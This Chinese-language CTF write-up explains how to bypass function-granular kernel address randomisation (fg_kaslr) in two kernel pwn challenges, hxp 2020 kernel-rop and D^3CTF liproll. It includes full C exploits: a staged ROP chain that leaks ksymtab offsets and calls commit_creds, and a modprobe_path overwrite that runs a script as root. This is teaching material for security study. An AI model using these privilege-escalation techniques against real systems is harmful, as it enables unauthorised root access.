概述
0x01 kaslr
类似ASLR,内核基址地址加载随机化。
一般绕过思路:
- 通过泄露内核地址,通过偏移计算出内核基址。(kernel_base=leak_addr - offset)
- 再根据内核基址和其他函数的偏移得到目标函数地址(如commit_creds等)
0x02 fg_kaslr
来自官方[PATCH v3 00/10] Function Granular KASLR 的描述
简单的说就是更细粒度的内核地址空间随机化,按照函数级别的细粒度来重排内核代码。所以当再泄露内核地址时,无法通过leak_addr – offset的方法得到内核基址和其他函数地址。
难道就没有办法绕过了吗?
0x03 hxp CTF 2020: kernel-rop
这是一道开启了fg_kaslr保护的栈溢出rop。
查看题目
1.run.sh启动文件,开启了smep,smap kaslr和kpti
#!/bin/sh
qemu-system-x86_64
-m 128M
-cpu kvm64,+smep,+smap
-kernel vmlinuz
-initrd initramfs.cpio.gz
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-append "console=ttyS0 kaslr kpti=1 quiet panic=1"
2.解包文件系统
gunzip initramfs.cpio.gz
cpio -idmv < ./initramfs.cpio
3.查看启动脚本,关闭了kallsyms和dmesg的查看。确定问题模块为hackme.ko
#!/bin/sh
/bin/busybox --install -s
stty raw -echo
chown -R 0:0 /
mkdir -p /proc && mount -t proc none /proc
mkdir -p /dev && mount -t devtmpfs devtmpfs /dev
mkdir -p /tmp && mount -t tmpfs tmpfs /tmp
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
insmod /hackme.ko
chmod 666 /dev/hackme
4.修改/ect/inittab来将1000改为0,设置为root权限,方便调试
::sysinit:/etc/init.d/rcS
::once:-sh -c 'cat /etc/motd; setuidgid 0 sh; poweroff'
分析hackme.ko
1.read函数
hackme_read函数,copy_to_user()存在泄露,可以泄露kernel_base和cannry
通过简单程序先泄露stack看看,通过startup_64的值,canary为buf[2],kernel_base可以通过buf[38]-0xa157得到。
void leak_read(int size)
{
read(fd,buf,size*8);
for(int i=0;i<size;i++){
printf("[%d]:%llxn",i,buf[i]);
}
}
/ # cat /proc/kallsyms | grep startup_64
ffffffff9c200000 T startup_64
ffffffff9c200030 T secondary_startup_64
ffffffff9c2001f0 T __startup_64
/ # ./exp
[0]:ffff9d97c7601020
[1]:fe0
[2]:bf51a80663aa8100
[3]:ffff9d97c6ca9e10
[4]:ffffaea4c01bfe68
[5]:4
[6]:ffff9d97c6ca9e00
[7]:ffffaea4c01bfef0
[8]:ffff9d97c6ca9e00
[9]:ffffaea4c01bfe80
[10]:ffffffff9c8fcc87
[11]:ffffffff9c8fcc87
[12]:ffff9d97c6ca9e00
[13]:0
[14]:4a83c0
[15]:ffffaea4c01bfea0
[16]:bf51a80663aa8100
[17]:190
[18]:0
[19]:ffffaea4c01bfed8
[20]:ffffffff9c8ca04f
[21]:ffff9d97c6ca9e00
[22]:ffff9d97c6ca9e00
[23]:4a83c0
[24]:190
[25]:0
[26]:ffffaea4c01bff20
[27]:ffffffff9c723bf7
[28]:ffffffff9c930611
[29]:0
[30]:bf51a80663aa8100
[31]:ffffaea4c01bff58
[32]:0
[33]:0
[34]:0
[35]:ffffaea4c01bff30
[36]:ffffffff9c74c13a
[37]:ffffaea4c01bff48
[38]:ffffffff9c20a157
[39]:0
[40]:0
2.write函数
hackme_write函数,存在栈溢出,构造ROP
3.没有fg_kaslr情况下的思路
- 通过read函数泄露kernel_base和canary
- 通过offset计算,commit_creds和prepare_kernel_cred,swapgs_restore_regs_and_return_to_usermode()和一些必要的gadget
- 利用hackme_write函数进行rop。commit_creds(prepare_kernel_cred(0))
- 最后利用swapgs_restore_regs_and_return_to_usermode中的kpti gadget返回到用户空间的get_shell
- 提权成功
4.fg_kaslr的影响
由于存在fg_kaslr所以commit_creds和prepare_kernel_cred不是固定值。下面是两次启动的commit_creds,明显能够看到不是固定偏移。
第一次启动
/ # cat /proc/kallsyms | grep commit_creds
ffffffffb291bb40 T commit_creds
第二次启动
/ # cat /proc/kallsyms | grep commit_creds
ffffffffb0b4fa60 T commit_creds
寻找不受fg_kaslr影响的符号
通过比较两次启动时,哪些符号的偏移不会改变可以得到哪些符号不受fg_kaslr保护的影响
1.通过查看_text符号的地址可以知道kernel_base
/ # cat /proc/kallsyms | grep _text
ffffffffb0200000 T _text
因为没找到比较好的办法在qemu的host和guest之间传输文件的办法,所以用输出重定位的办法来得到kallsyms的内容
$./run.sh > kallsyms1.txt
#在另外一个命令行查看文件大小是否不住变化,不变化表示qemu已经启动完成
cat /proc/kallsyms #命令行不会有显示,都已经重定位输出了
#在另外一个命令行查看文件大小是否不住变化,不变化表示内容已经输出完成
通过脚本查看偏移没有变化的符号并保存到文件中
f1 = open("kallsyms1.txt")
line = f1.readline()
dict1 = {}
kernel_base1=0xffffffff9c600000 #第一次启动的kernel base
print("start read file kallsyms1n")
while line :
#['0000000000000000', 'A', '__per_cpu_start']
sp = line.strip().split(" ")
if int(sp[0],16) >= kernel_base1:
dict1[sp[2]]=int(sp[0],16)-kernel_base1
line = f1.readline()
f1.close()
f2 = open("kallsyms2.txt")
line = f2.readline()
dict2 = {}
kernel_base2=0xffffffff8c800000 #第二次启动的kernel base
print("start read file kallsyms2n")
while line :
#['0000000000000000', 'A', '__per_cpu_start']
sp = line.strip().split(" ")
if int(sp[0],16) >= kernel_base2:
dict2[sp[2]]=int(sp[0],16)-kernel_base2
line = f2.readline()
f2.close()
dict3 = {}
for k in dict1:
if dict1[k] == dict2[k]:
dict3[k] = dict1[k]
print("store no fg_kaslrn")
f3 = open("find_no_fgkaslr.txt",'w+')
for k in dict3:
s = "%016x : %sn"%(dict3[k],k)
f3.write(s)
f3.close()
查看文件寻找哪些是不受fgkaslr影响(原始有9w多条符号,对比之后竟然还有5w多条)
- _text(kernel_base+0)~__x86_retpoline_r15(kernel_base+0x400DD6) _text段
- kpti绕过gadget swapgs_restore_regs_and_return_to_usermode+0x16(kernel_base+0x200f10)
- __start_rodata(kernel_base+0xc00000)~msr_save_dmi_table(kernel_bnase+0xcf69c0) _rodata段
- 内核符号表ksymtab(kernel_base+0xf85198)
函数的偏移可以通过ksymtab计算得到,commit_creds = __ksymtab_commit_creds+value_offset
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
exp
因为找不到mov rdi,rax;xxx的gadget,所以可以将返回的值保存在rax,返回到用户空间再处理。
- 通过read函数,leak kernel_base和cannary
- 通过偏移计算__ksymtab_commit_creds,__ksymtab_prepare_kernel_cred()以及gadgets地址
- 构造rop,将ksymtab的value_offset存放到rax,再利用kpti gadget返回到用户空间,计算真实函数地址。通过两次rop得到commit_creds和prepare_kernel_cred函数的地址
- 由于找不到类似mov rdi,rax的gadget。可以将提权分为两步1.rop执行prepare_kernel_cred(0),执行结果保存在rax中,利用kpti_gadget返回到用户空间,得到rax(cred_struct_va)。2.ROP执行commit_cred(cred_struct_va),最后利用kpti_gadget返回用户空间执行system(’/bin/sh’);
//gcc exp.c -o exp --static -masm=intel
#include<stdio.h>
#include<stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
int fd;
size_t buf[0x1000/8];
size_t kernel_base,cannary;
size_t kpti_gadget;
size_t ksymtab_prepare_kernel_cred;
size_t ksymtab_commit_creds;
size_t pop_rdi_ret ;
size_t pop_rax_ret ;
size_t mov_eax_rax10;
size_t commit_creds;
size_t prepare_kernel_cred;
size_t cred_struct_va;
size_t tmp_store;
void init_fd()
{
fd = open("/dev/hackme",O_RDWR);
if(fd < 0){
printf("open faild!");
exit(1);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell()
{
if(!getuid()){
printf("[*]ROOT!!!n")
system("/bin/sh");
}else{
printf("not rootn");
}
}
void leak_read(int size)
{
read(fd,buf,size*8);
kernel_base = buf[38]-0xa157;
cannary = buf[2];
kpti_gadget = kernel_base + 0x200f10+0x16;
ksymtab_prepare_kernel_cred = kernel_base + 0xf8d4fc;
ksymtab_commit_creds = kernel_base + 0xf87d90;
pop_rdi_ret = kernel_base+0x6370;//0xffffffff81006370: pop rdi; ret;
pop_rax_ret = kernel_base+0x4d11;//0xffffffff81004d11: pop rax; ret;
mov_eax_rax10 = kernel_base+0x4aae;// 0xffffffff81004aad: mov rax, qword ptr [rax + 0x10]; pop rbp; ret;
printf("[*]----leak info----n");
printf("[*]kernel_base: %pn",kernel_base);
printf("[*]cannary: %pn",cannary);
printf("[*]kpti_gadget: %pn",kpti_gadget);
printf("[*]ksymtab_prepare_kernel_cred: %pn",ksymtab_prepare_kernel_cred);
printf("[*]ksymtab_commit_creds: %pn",ksymtab_commit_creds);
printf("[*]pop_rdi_ret: %pn",pop_rdi_ret);
printf("[*]pop_rax_ret: %pn",pop_rax_ret);
printf("[*]mov_eax_rax10: %pn",mov_eax_rax10);
printf("[*]----leak info----n");
}
void stage_1(void);
void stage_2(void);
void stage_3(void);
void stage_4(void);
void get_commit_creds(void);
//STAGE1:leak commit_creds
void stage_1(void)
{
size_t payload[50];
int off = 16;
payload[off++] = cannary;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = pop_rax_ret;//ret
payload[off++] = ksymtab_commit_creds - 0x10;//[rax+0x10]
payload[off++] = mov_eax_rax10;//eax <- [ksymtab_prepare_kernel_cred]
payload[off++] = 0;
payload[off++] = kpti_gadget;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = (size_t)get_commit_creds;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
size_t w = write(fd,payload,sizeof(payload));
printf("[!] Should never be reached");
}
void get_commit_creds(void)
{
__asm__(
"mov tmp_store, rax;"
);
commit_creds = ksymtab_commit_creds + (int)tmp_store;
printf("[*]commit_creds: %pn", commit_creds);
stage_2();
}
//STAGE2: leak prepare_kernel_cred
void get_prepare_kernel_cred();
void stage_2(void)
{
size_t payload[50];
int off = 16;
payload[off++] = cannary;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = pop_rax_ret;//ret
payload[off++] = ksymtab_prepare_kernel_cred - 0x10;//[rax+0x10]
payload[off++] = mov_eax_rax10;//eax <- [ksymtab_prepare_kernel_cred]
payload[off++] = 0;
payload[off++] = kpti_gadget;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = (size_t)get_prepare_kernel_cred;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
size_t w = write(fd,payload,sizeof(payload));
printf("[!] Should never be reached");
}
void get_prepare_kernel_cred()
{
__asm__(
"mov tmp_store, rax;"
);
prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp_store;
printf("[*]ksymtab_prepare_kernel_cred: %pn", ksymtab_prepare_kernel_cred);
stage_3();
}
//STAGE3 prepare_kernel_cred
void after_prepare_kernel_cred(void);
void stage_3(void)
{
size_t payload[50];
int off = 16;
payload[off++] = cannary;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = pop_rdi_ret;//ret
payload[off++] = 0;
payload[off++] = prepare_kernel_cred;
payload[off++] = kpti_gadget;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = (size_t)after_prepare_kernel_cred;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
size_t w = write(fd,payload,sizeof(payload));
printf("[!] Should never be reached");
}
void after_prepare_kernel_cred(void)
{
__asm__(
"mov tmp_store, rax;"
);
cred_struct_va = tmp_store;
printf("[*]cred_struct_va: %pn", cred_struct_va);
stage_4();
}
//STAGE4: call commit_creds(cred_struct_va),open shell
void stage_4()
{
size_t payload[50];
int off = 16;
payload[off++] = cannary;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = pop_rdi_ret;//ret
payload[off++] = cred_struct_va;
payload[off++] = commit_creds;
payload[off++] = kpti_gadget;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = (size_t)get_shell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
size_t w = write(fd,payload,sizeof(payload));
printf("[!] Should never be reached");
}
int main(){
save_status();
init_fd();
leak_read(50);
stage_1();
}
0x04 AntCTF x D^3CTF liproll
这是另外一道开启fg_kaslr保护的kernel pwn。这里介绍第二种能够绕过保护的方法。所以下面就简单分析一下题目
分析程序
漏洞点cast_a_spell函数
当输入的size大于0x100时出现栈溢出,可以覆盖global_buffer和size,配合read和write可以实现任意地址读写
liproll_read,当size过大时存在栈溢出rop
exp
通过任意读,寻找**/sbin/modprobe**字符串.(得到的字符串地址并不一定就是函数里面引用的,可以通过ida pro查看vmlinux得到偏移
size_t find_modprobe()
{
size_t off=0;
size_t addr = kernel_base;
char name[] = "/sbin/modprobe";
size_t sbin_modeprobe_addr=0;
for(;addr<0xffffffffffffefff;addr+=0x100){
magic_read(addr,0x100);
sbin_modeprobe_addr = memmem((char*)data,0x100,name,14);
if(sbin_modeprobe_addr){
sbin_modeprobe_addr = sbin_modeprobe_addr - (size_t)&data;
printf("[*]sbin_modeprobe_addr: %pn",sbin_modeprobe_addr+addr);
//return sbin_modeprobe_addr;
}
}
return sbin_modeprobe_addr;
}
下面就是通过脚本找到的字符串
通过字符串寻找函数地址,这里用commit_creds为例子
u_int8_t code_commit_creds[] = {0x41, 0x54, 0x65, 0x4C, 0x8B, 0x24, 0x25, 0x00, 0x7D, 0x01, 0x00, 0x55, 0x53, 0x49, 0x8B, 0xAC, 0x24, 0x30, 0x06, 0x00, 0x00, 0x49, 0x39, 0xAC, 0x24, 0x38, 0x06, 0x00, 0x00, 0x0F, 0x85, 0xE2};
size_t find_commit_creds()
{
size_t off=0;
size_t addr = kernel_base;
size_t commit_creds=0;
for(;addr<0xffffffffffffefff;addr+=0x100){
magic_read(addr,0x100);
commit_creds = memmem((char*)data,0x100,code_commit_creds,32);
if(commit_creds){
commit_creds = commit_creds - (size_t)&data;
printf("[*]commit_creds: %pn",commit_creds+addr);
return commit_creds;
}
}
}
最终exp
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
#define KERNCALL __attribute__((regparm(3)))
#define _GNU_SOURCE
int fd;
size_t kernel_base;
size_t data[0x1000]={0};
void cast(int fd,size_t data,size_t size)
{
size_t arg[2] ={data,size};
ioctl(fd,0xD3C7F01,arg);
}
void reset(int fd,int index)
{
ioctl(fd,0xD3C7F02,index);
}
void create(int fd)
{
ioctl(fd,0xD3C7F03);
}
void choose(int fd,int index)
{
size_t arg[1] = {index};
ioctl(fd,0xD3C7F04,arg);
}
void info()
{
for(int i=0;i<0x200/8;i++)
printf("[*]%d: %pn",i,data[i]);
}
void magic_read(size_t addr,size_t size)
{
choose(fd,0);
size_t data1[0x100]={0};
data1[0x100/8]=addr;
data1[0x100/8 +1]=size;
cast(fd,data1,0x110);
read(fd,data,size);
}
void magic_write(size_t addr)
{
choose(fd,0);
data[0x100/8]=addr;
cast(fd,data,0x108);
memcpy(data,"/tmp/magic.shx00",14);
cast(fd,data,0x10);
}
size_t find_modprobe()
{
size_t off=0;
size_t addr = kernel_base;
char name[] = "/sbin/modprobe";
size_t sbin_modeprobe_addr=0;
for(;addr<0xffffffffffffefff;addr+=0x100){
magic_read(addr,0x100);
sbin_modeprobe_addr = memmem((char*)data,0x100,name,14);
if(sbin_modeprobe_addr){
sbin_modeprobe_addr = sbin_modeprobe_addr - (size_t)&data;
printf("[*]sbin_modeprobe_addr: %pn",sbin_modeprobe_addr+addr);
//return sbin_modeprobe_addr;
}
}
return sbin_modeprobe_addr;
}
u_int8_t code_commit_creds[] = {0x41, 0x54, 0x65, 0x4C, 0x8B, 0x24, 0x25, 0x00, 0x7D, 0x01, 0x00, 0x55, 0x53, 0x49, 0x8B, 0xAC, 0x24, 0x30, 0x06, 0x00, 0x00, 0x49, 0x39, 0xAC, 0x24, 0x38, 0x06, 0x00, 0x00, 0x0F, 0x85, 0xE2};
size_t find_commit_creds()
{
size_t off=0;
size_t addr = kernel_base;
size_t commit_creds=0;
for(;addr<0xffffffffffffefff;addr+=0x100){
magic_read(addr,0x100);
commit_creds = memmem((char*)data,0x100,code_commit_creds,32);
if(commit_creds){
commit_creds = commit_creds - (size_t)&data;
printf("[*]commit_creds: %pn",commit_creds+addr);
return commit_creds;
}
}
}
void get_shell()
{
if(!getuid()){
printf("[*]ROOT!!!n");
system("/bin/sh");
}else{
printf("not rootn");
}
}
int main()
{
printf("startn");
signal(SIGSEGV, get_shell);
fd = open("/dev/liproll", O_RDWR);
if(fd <= 0){
printf("open liproll errorn");
exit(-1);
}
create(fd);
choose(fd,0);
read(fd,data,0x200);
//info();
kernel_base = data[52] - 0x20007c;
printf("[*]kernel_base: %pn",kernel_base);
//find_commit_creds();
//find_modprobe();
//exit(-1);
size_t modeprobe = kernel_base+0x1448460;
magic_write(modeprobe);
system("echo -ne '#!/bin/shn/bin/cp /root/flag /tmp/flagn/bin/chmod 777 /tmp/flag' > /tmp/magic.sh");
system("echo -ne 'xffxffxffxff' > /tmp/123");
system("chmod +x /tmp/magic.sh");
system("chmod +x /tmp/123");
system("/tmp/123");
system("cat /tmp/flag");
return 0;
}
0x05 总结
虽然fg_kaslr使原本通过偏移计算内核基址和函数地址的方法失效了。但是因为内核加载过程中_stext段是通过直接映射的方法加载的,所以这一段的内容并不会受fg_kaslr的影响。其他不受fg_kaslr影响的符号可以通过对比两次符号的偏移来得到。
当存在任意地址读写时,可以通过暴力搜索内存比较字节码的方法找到想要的函数和字符串。
参考
Hxp2020 kernel rop wp::https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/
https://zhangyidong.top/2021/02/10/kernel_pwn(fg_kaslr)/
AntCTF官方题解: https://www.anquanke.com/post/id/234503#h3-9
FG_kaslr patch: https://lwn.net/Articles/824307/
KPTI绕过:https://bbs.pediy.com/thread-258975.htm
最后
以上就是寒冷摩托为你收集整理的fg_kaslr保护下的kernel pwn0x01 kaslr0x02 fg_kaslr0x03 hxp CTF 2020: kernel-rop0x04 AntCTF x D^3CTF liproll0x05 总结的全部内容,希望文章能够帮你解决fg_kaslr保护下的kernel pwn0x01 kaslr0x02 fg_kaslr0x03 hxp CTF 2020: kernel-rop0x04 AntCTF x D^3CTF liproll0x05 总结所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复